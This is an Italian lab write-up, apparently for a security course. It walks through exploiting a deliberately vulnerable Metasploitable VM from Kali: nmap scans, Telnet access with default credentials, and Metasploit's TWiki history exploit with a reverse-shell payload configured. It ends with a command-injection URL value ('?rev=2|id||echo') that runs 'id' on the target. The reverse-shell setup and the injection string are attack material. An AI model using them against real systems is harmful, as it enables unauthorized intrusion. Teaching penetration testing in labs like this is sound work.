Exploit Telnet con Metasploit

1. Anzitutto cambiamo gli indirizzi ip delle due macchine Kali e Meta rispettivamente in 192.168.1.25 e 192.168.1.40 e mi accerto che le due macchine pinghino.

```
-(kali⊛kali)-[~]
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
       inet 192.168.1.25 netmask 255.255.255.0 broadcast 192.168.1.255
       ineto reov::a00:27ff:feb1:9d67 prefixlen 64 scopeid 0×20<link>
       ether 08:00:27:b1:9d:67 txqueuelen 1000 (Ethernet)
       RX packets 91 bytes 8364 (8.1 KiB)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 20 bytes 2704 (2.6 KiB)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
        inet 127.0.0.1 netmask 255.0.0.0
        inet6 ::1 prefixlen 128 scopeid 0×10<host>
       loop txqueuelen 1000 (Local Loopback)
       RX packets 4 bytes 240 (240.0 B)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 4 bytes 240 (240.0 B)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  –(kali⊛kali)-[~]
s ping 192.168.1.40
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data.
64 bytes from 192.168.1.40: icmp seg=1 ttl=64 time=4.41 ms
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=1.18 ms
^c
— 192.168.1.40 ping statistics -
2 packets transmitted, 2 received, 0% packet loss, time 1006ms
rtt min/avg/max/mdev = 1.178/2.796/4.414/1.618 ms
```

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
         Link encap: Ethernet HWaddr 08:00:27:01:58:09
         <u>inet_addr:192.168.1.40</u> Bcast:192.168.1.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:z7ff:fe01:5809/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
         RX packets:0 errors:0 dropped:0 overruns:0 frame:0
         TX packets:49 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000
         RX bytes:0 (0.0 B) TX bytes:3878 (3.7 KB)
         Base address:0xd020 Memory:f0200000-f0220000
         Link encap:Local Loopback
lo
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
         UP LOOPBACK RUNNING MTU:16436 Metric:1
         RX packets:103 errors:0 dropped:0 overruns:0 frame:0
          TX packets:103 errors:0 dropped:0 overruns:0 carrier:0
```

```
RX bytes:20485 (20.0 KB) TX bytes:20485 (20.0 KB)
```

2. Mandiamo su nmap una scansione per vedere le porte aperte e mi accorgo da subito che la porta 23 sulla quale dovrebbe essere in ascolto il servizio Telnet non è rilevata. Faccio diverse prove per assicurarmi che effettivamente la porta non è in ascolto dapprima sulla porta 23 (come suggerito dalla traccia dell'esercizio), poi su qualsiasi altra porta con il comando lanciato con privilegi da admin.

```
-$ nmap -sV 192.168.1.40
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-07 04:52 EST
Nmap scan report for 192.168.1.40
Host is up (0.019s latency).
Not shown: 984 closed tcp ports (conn-refused)
PORT
         STATE SERVICE
                            VERSION
        open ftp
21/tcp
                            vsftpd 2.3.4
22/tcp
         open ssh
                            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
25/tcp
                            Postfix smtpd
         open
               smtp
                            ISC BIND 9.4.2
53/tcp
               domain
         open
80/tcp
                            Apache httpd 2.2.8 ((Ubuntu) DAV/2)
         open http
                            2 (RPC #100000)
               rpcbind
111/tcp open
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
1099/tcp open java-rmi GNU Classpath grmiregistry
                            2-4 (RPC #100003)
2049/tcp open nfs
                            ProFTPD 1.3.1
MySQL 5.0.51a-3ubuntu5
2121/tcp open ftp
3306/tcp open mysql
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open
                            VNC (protocol 3.3)
                            (access denied)
6000/tcp open X11
6667/tcp open
                            UnrealIRCd
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.26 seconds
$ nmap -p 23 192.168.1.40
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-07 04:53 EST
Nmap scan report for 192.168.1.40
Host is up (0.0023s latency).
      STATE SERVICE
23/tcp closed telnet
Nmap done: 1 IP address (1 host up) scanned in 13.05 seconds
```

```
[ (kali⊗ kali)-[~]
$ <u>sudo</u> nmap -sV -p 1-65535 --open -T4 -sS 192.168.1.40 | grep telnet
```

3. A questo punto devo mettere il servizio telnet in ascolto sulla porta 23. Riattivo telnet da meta, come in figura e riavvio la scansione da nmap, trovando il servizio telnet sulla porta 23.

```
#<off># netbios-ssn
                                                   root
                                                           /usr/sbin/tcpd
                                          nowait
                         stream
                                  tcp
                                  nowait
                                          telnetd /usr/sbin/tcpd
telnet
                stream
                         tcp
                                                                    /usr/sb
#<off># ftp
                         stream
                                  tcp
                                          nowait
                                                   root
                                                           /usr/sbin/tcpd
#tftp
                                  wait
                                          nobody
                                                   /usr/sbin/tcpd
                dgram
                         udp
                                                                    /usr/sb
                                  nowait
#shell
                         tcp
                                          root
                                                   /usr/sbin/tcpd
                                                                    /usr/sb
                stream
#login
                stream
                         tcp
                                  nowait
                                          root
                                                   /usr/sbin/tcpd
                                                                    /usr/sb
#exec
                                  nowait
                                                   /usr/sbin/tcpd
                                                                    /usr/sb
                stream
                         tcp
                                          root
#ingreslock stream tcp nowait root /bin/bash bash -i
```

4. Avviamo metasploit con msfconsole e lanciamo il comando use seguito dal path auxiliary/scanner/telnet/telnet_version per usare questo modulo ausiliario al fine di sfruttare la vulnerabilità del servizio Telnet. Con show options vediamo quali opzioni sia necessario settare e, dovendo impostare l indirizzo ip target, diamo il comando set rhosts 192.168.1.40.

(In figura ho cancellato in rosso un comando errato)

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(s
                                      version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
             Current Setting Required Description
   Name
   PASSWORD
                                        The password for the specified username
                              no
                                        The target host(s), see https://github.com/
  RHOSTS
                              yes
   RPORT
             23
                                        The target port (TCP)
                              ves
   THREADS
                                        The number of concurrent threads (max one p
                              yes
   TIMEOUT
             30
                              yes
                                        Timeout for the Telnet probe
   USERNAME
                                        The username to authenticate as
                              no
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.40
rhosts ⇒ 192.168.1.40
Usage: set [options] [name] [value]
Set the given option to value. If value is omitted, print the current value.
If both are omitted, print options that are currently set.
If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore.
If setting a PAYLOAD, this command can take an index from `show payloads'.
msf6 auxiliary(scanner/telnet/telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
             Current Setting
                              Required Description
   Name
   PASSWORD
                              no
                                        The password for the specified username
   RHOSTS
             192.168.1.40
                                        The target host(s), see https://github.com/
                              yes
   RPORT
             23
                                        The target port (TCP)
                              yes
   THREADS
                                        The number of concurrent threads (max one p
                              yes
   TIMEOUT
             30
                                        Timeout for the Telnet probe
                              yes
   USERNAME
                                        The username to authenticate as
                              no
```

5. Per il modulo scelto non c'è bisogno di settare il payload, altrimenti sarebbe uscito tra i settaggi richiesti con il comando show options. Procediamo, dunque, a lanciare l'exploit. Inseriamo il comando telnet seguito dall'indirizzo ip di meta e inseriamo le credenziali di accesso che ci aveva suggerito il software nella risposta al comando exploit. Otteniamo, pertanto, un accesso non autorizzato alla macchina.

```
msf6 auxiliary(
                                           ) > exploit
[+] 192.168.1.40:23
                         - 192.168.1.40:23 TELNET
* Auxiliary module execution completed
msf6 auxiliary(
                                          m) > telnet 192.168.1.40
*] exec: telnet 192.168.1.40
Trying 192.168.1.40 ...
Escape character is
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login: msfadmin
Last login: Tue Mar 7 08:39:34 EST 2023 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com
No mail.
msfadmin@metasploitable:~$
```

Exploit Twiki con Metasploit

1. Con nmap identifichiamo la porta 80 del servizio di Apache in ascolto con la quale proveremo a sfruttare la vulnerabilità

```
-(kali⊛kali)-[~]
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-07 10:01 EST
Nmap scan report for 192.168.1.40
Host is up (0.0034s latency).
Not shown: 983 closed tcp ports (conn-refused)
PORT
        STATE SERVICE
                          VERSION
21/tcp
        open ftp
                          vsftpd 2.3.4
                          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
22/tcp
        open
             ssh
23/tcp
              telnet
                          Linux telnetd
        open
25/tcp
                          Postfix smtpd
        open
              smtp
53/tcp
                          ISC BIND 9.4.2
        open domain
                          Apache httpd 2.2.8 ((Ubuntu) DAV/2)
80/tcp open
              http
111/tcp open
              rpcbind
                         2 (RPC #100000)
              netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
139/tcp
        open
              netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp
        open
1099/tcp open
             java-rmi GNU Classpath grmiregistry
                          2-4 (RPC #100003)
2049/tcp open
             nfs
2121/tcp open
              ftp
                          ProFTPD 1.3.1
3306/tcp open
                          MySQL 5.0.51a-3ubuntu5
              mysql
                          PostgreSQL DB 8.3.0 - 8.3.7
5432/tcp open
              postgresql
5900/tcp open
                          VNC (protocol 3.3)
              vnc
6000/tcp open
              X11
                          (access denied)
```

```
6667/tcp open irc UnrealIRCd
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Uni
Service detection performed. Please report any incorrect results at https://nmap.o
Nmap done: 1 IP address (1 host up) scanned in 24.52 seconds
```

2. Entriamo in metasploit e cerchiamo twiki per identificare l'exploit che la scansione di Nessus ci aveva rivelato critico.

```
=[ metasploit v6.2.26-dev
--=[ 2264 exploits - 1189 auxiliary - 404 post
      --=[ 951 payloads - 45 encoders ---=[ 9 evasion
Metasploit tip: Enable verbose logging with set VERBOSE
Metasploit Documentation: https://docs.metasploit.com/
     Unknown command: searc
msf6 > search Twiki
Matching Modules
   # Name
                                                             Disclosure Date Rank
                                                                                                   Check Description
                                                                                                            MoinMoin twikidraw Action Traversal File Upload
   0 exploit/unix/webapp/moinmoin_twikidraw 2012-12-30
      exploit/unix/http/twiki_debug_plugins
exploit/unix/webapp/twiki_history
exploit/unix/webapp/twiki_maketext
exploit/unix/webapp/twiki_search
                                                                                                             TWiki Debugenableplugins Remote Code Execution
TWiki History TWikiUsers rev Parameter Command Execution
TWiki MAKETEXT Remote Command Execution
                                                              2014-10-09
                                                                                                             TWiki Search Function Arbitrary Command Execution
Interact with a module by name or index. For example info 4, use 4 or use exploit/unix/webapp/twiki_search
```

3. Mando il comando use 2 per utilizzare il secondo exploit tra i risultati del comando precedente e procedo a settarne il rhost (indirizzo target) e il payload.

```
exploit/unix/webapp/moinmoin_twikidraw
                                                                                            manual
                                                                                                                       MoinMoin twikidraw Action Traversal File Upload
       exploit/unix/webapp/moinmoin_tulkidraw
exploit/unix/http/twiki_debug_plugins
exploit/unix/webapp/twiki_history
exploit/unix/webapp/twiki_maketext
exploit/unix/webapp/twiki_search
                                                                                                                       TWiki Debugenableplugins Remote Code Execution
TWiki History TWikiUsers rev Parameter Command Execution
TWiki MAKETEXT Remote Command Execution
                                                                   2014-10-09
                                                                                                            Yes
                                                                                                            Yes
                                                                                                                       TWiki Search Function Arbitrary Command Execution
                                                                   2004-10-01
Interact with a module by name or index. For example info 4, use 4 or use exploit/unix/webapp/twiki_search
msf6 > use 2
     No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(
                                                        ) > show options
Module options (exploit/unix/webapp/twiki history):
                 Current Setting Required Description
                                                        A proxy chain of format type:host:port[,type:host:port][...]
The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
The target port (TCP)
Negotiate SSL/TLS for outgoing connections
TWiki bin directory path
HTTP server virtual host
    Proxies
    RHOSTS
    RPORT
    SSL
                 /twiki/bin
    VHOST
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
              Current Setting Required Description
    LHOST 192.168.1.25
LPORT 4444
                                                      The listen address (an interface may be specified)
```

4. Dapprima con show payloads controllo tutti i payloads disponibili, poi identifico quello che mi serve e lo setto.

```
Compatible Payloads
                                                                                                                                                                                                                                                                                                                                                                 Unix Command Shell, Bind TCP (via AWK)
Unix Command Shell, Bind TCP (via BusyBox telnetd)
Unix Command Shell, Bind TCP (via jis)
Unix Command Shell, Bind TCP (via jis)
Unix Command Shell, Bind TCP (via Lua)
Unix Command Shell, Bind TCP (via netcat)
Unix Command Shell, Bind TCP (via netcat -e)
Unix Command Shell, Bind TCP (via netcat -e)
Unix Command Shell, Bind TCP (via netcat -e)
Unix Command Shell, Bind TCP (via perl)
Unix Command Shell, Bind TCP (via perl)
Unix Command Shell, Bind TCP (via R)
Unix Command Shell, Bind TCP (via R)
Unix Command Shell, Bind TCP (via Ruby)
Unix Command Shell, Bind TCP (via Ruby)
Unix Command Shell, Bind TCP (via Shell)
Unix Command Shell, Bind TCP (via Shell)
Unix Command Shell, Bind TCP (via Zsh)
Unix Command Shell, Bind TCP (via Zsh)
Unix Command Shell, Pingback Bind TCP (via netcat)
Unix Command Shell, Pingback Bind TCP (via netcat)
Unix Command Shell, Pingback Reverse TCP (via netcat)
Python Exec, Python Meterpreter, Python Bind TCP Stag
Python Exec, Python Meterpreter, Python Reverse HTTP
Python Exec, Python Meterpreter, Python Reverse HTTPS
Python Exec, Python Meterpreter, Python Reverse TCP S
Python Exec, Python Meterpreter Shell, Reverse TCP S
Python Exec, Python Meterpreter Shell, Reverse TCP In
Python Exec, Python Meterpreter Shell, Reverse TCP In
Python Exec, Python Meterpreter Shell, Reverse TCP In
Python Exec, Python Pingback, Bind TCP (via python)
Python Exec, Command Shell, Reverse TCP (via python)
Unix Command Shell, Reverse TCP (via Sh)
Unix Command Shell, Reverse TCP (via Ksh)
Unix Command Shell, Reverse TCP (via Ksh)
Unix Command Shell, Rev
                                                                                                                                                                                                                                          Disclosure Date Rank
                        payload/cmd/unix/bind_awk
                       payload/cmd/unix/bind_busybox_telnetd
payload/cmd/unix/bind_inetd
                                                                                                                                                                                                                                                                                                            normal
                       payload/cmd/unix/bind_jjs
payload/cmd/unix/bind_lua
                                                                                                                                                                                                                                                                                                           normal
                       payload/cmd/unix/bind_netcat
payload/cmd/unix/bind_netcat_gaping
                                                                                                                                                                                                                                                                                                           normal
                                                                                                                                                                                                                                                                                                           normal
                        payload/cmd/unix/bind_netcat_gaping_ipv6
payload/cmd/unix/bind_perl
                                                                                                                                                                                                                                                                                                           normal
                       payload/cmd/unix/bind_perl_ipv6
payload/cmd/unix/bind_r
                                                                                                                                                                                                                                                                                                           normal
                      payload/cmd/unix/bind_ruby
payload/cmd/unix/bind_ruby_ipv6
payload/cmd/unix/bind_socat_udp
payload/cmd/unix/bind_stub
                                                                                                                                                                                                                                                                                                            normal
                                                                                                                                                                                                                                                                                                           normal
                                                                                                                                                                                                                                                                                                           normal
                       payload/cmd/unix/bind_zsh
payload/cmd/unix/generic
payload/cmd/unix/pingback_bind
                                                                                                                                                                                                                                                                                                           normal
                                                                                                                                                                                                                                                                                                            normal
                       payload/cmd/unix/pingback_reverse
payload/cmd/unix/python/meterpreter/bind_tcp
                                                                                                                                                                                                                                                                                                           normal
                                                                                                                                                                                                                                                                                                            normal
                       payload/cmd/unix/python/meterpreter/bind_tcp_uuid
payload/cmd/unix/python/meterpreter/reverse_http
                                                                                                                                                                                                                                                                                                           normal
                       payload/cmd/unix/python/meterpreter/reverse_https
payload/cmd/unix/python/meterpreter/reverse_tcp
                                                                                                                                                                                                                                                                                                           normal
                       payload/cmd/unix/python/meterpreter/reverse_tcp_ssl
payload/cmd/unix/python/meterpreter/reverse_tcp_uuid
                                                                                                                                                                                                                                                                                                           normal
                        payload/cmd/unix/python/meterpreter_bind_tcp
payload/cmd/unix/python/meterpreter_reverse_http
                                                                                                                                                                                                                                                                                                           normal
                       payload/cmd/unix/python/meterpreter_reverse_https
payload/cmd/unix/python/meterpreter_reverse_tcp
                                                                                                                                                                                                                                                                                                           normal
                      payload/cmd/unix/python/meterpreter_reverse_tr
payload/cmd/unix/python/pingback_bind_tcp
payload/cmd/unix/python/shell_bind_tcp
payload/cmd/unix/python/shell_reverse_tcp
payload/cmd/unix/python/shell_reverse_tcp_ayload/cmd/unix/python/shell_reverse_udp
payload/cmd/unix/python/shell_reverse_udp
payload/cmd/unix/reverse
payload/cmd/unix/reverse_bash
                                                                                                                                                                                                                                                                                                           normal
                                                                                                                                                                                                                                                                                                           normal
                                                                                                                                                                                                                                                                                                           normal
                                                                                                                                                                                                                                                                                                                                           No
                                                                                                                                                                                                                                                                                                           normal
                                                                                                                                                                                                                                                                                                                                           No
                                                                                                                                                                                                                                                                                                            normal
                       payload/cmd/unix/reverse_bash
payload/cmd/unix/reverse_bash_telnet_ssl
payload/cmd/unix/reverse_bash_udp
                                                                                                                                                                                                                                                                                                                                          No
                                                                                                                                                                                                                                                                                                            normal
                                                                                                                                                                                                                                                                                                            normal
                       payload/cmd/unix/reverse_jjs
payload/cmd/unix/reverse_ksh
                                                                                                                                                                                                                                                                                                            normal
                                                                                                                                                                                                                                                                                                                                           No
                           paytoad/generic/ssn/interact
                                                                                                                                                                                                                                                                                                                                                                                                   Interact with Established SSH Connection
```

```
ry) > set payload 36
msf6 exploit(
Module options (exploit/unix/webapp/twiki history):
             Current Setting Required Description
                                           A proxy chain of format type:host:port[,type:host:port][...]
The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
The target port (TCP)
   Proxies
             192.168.1.40
   RPORT
             false
                                           Negotiate SSL/TLS for outgoing connections
             /twiki/bin
                                           TWiki bin directory path
HTTP server virtual host
Pavload options (cmd/unix/reverse):
          Current Setting Required Description
   LHOST 192.168.1.25
LPORT 4444
                                         The listen address (an interface may be specified)
                                         The listen port
Exploit target:
       Automatic
```

5. A questo punto vado sulla pagine web di Meta nella sezione di Twiki, cercando di capire cosa posso fare



More Actions on Topic NicholasLee

- Rename, move or delete NicholasLee: Rename/move topic, looking for references in Main web only. Rename/move topic, looking for references in all public webs. (recommended) • Ref-Bv: Find topics in Main web that link to NicholasLee. Find topics in all public webs that link to NicholasLee. Child topics in Main Web: • Parent of NicholasLee: Set topic parent to Select... v, then Edit and save the topic to activate the new parent. View previous topic revision: • Revision: 1.2 in a raw text format View revision o Revisions: 1.1 ... 1.2 Compare revisions: o Older revision: 1.1 Newer revision: 1.2 View difference Topic NicholasLee . { Cancel }
- 6. Se inserisco nell'url il codice "?rev=2|id||echo%20", la pagina web mi restituisce in output informazioni sull'uid (user id), sul gid (gruppo id) e sul gruppo (www.data)

